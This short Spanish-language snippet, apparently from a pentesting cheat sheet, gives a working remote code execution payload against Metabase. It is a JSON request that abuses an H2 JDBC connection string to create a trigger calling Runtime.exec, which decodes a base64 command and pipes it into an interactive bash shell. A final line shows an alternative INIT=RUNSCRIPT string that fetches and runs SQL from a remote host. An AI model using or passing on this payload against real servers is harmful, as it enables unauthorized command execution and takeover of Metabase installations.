
Metabase postgres (org.h2.Driver) RCE sin INIT
Esto me ayudó a evitar errores relacionados con "base de datos ya en uso" (con H2 y postgre como motores)
{
"token": "TOKEN",
"details":
{
"is_on_demand": false,
"is_full_sync": false,
"is_sample": false,
"cache_ttl": null,
"refingerprint": false,
"auto_run_queries": true,
"schedules":{},
"details":
{
"advanced-options":true,
"classname":"org.h2.Driver",
"subname": "./metabase.jar;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER xel BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash -c {echo,BASE64COMMAND}|{base64,-d}|{bash,-i}')\n$$--=x",
"subprotocol": "h2"
},
"engine": "postgres",
"name": "x"
}}
En lugar de usar directamente h2 como motor con el script INIT, ya que está eliminado de nuestras consultas, todavía usamos la consulta de base de datos para el motor h2
mem;test;INIT=RUNSCRIPT FROM 'http://10.10.10.10/sqlcmd.sql'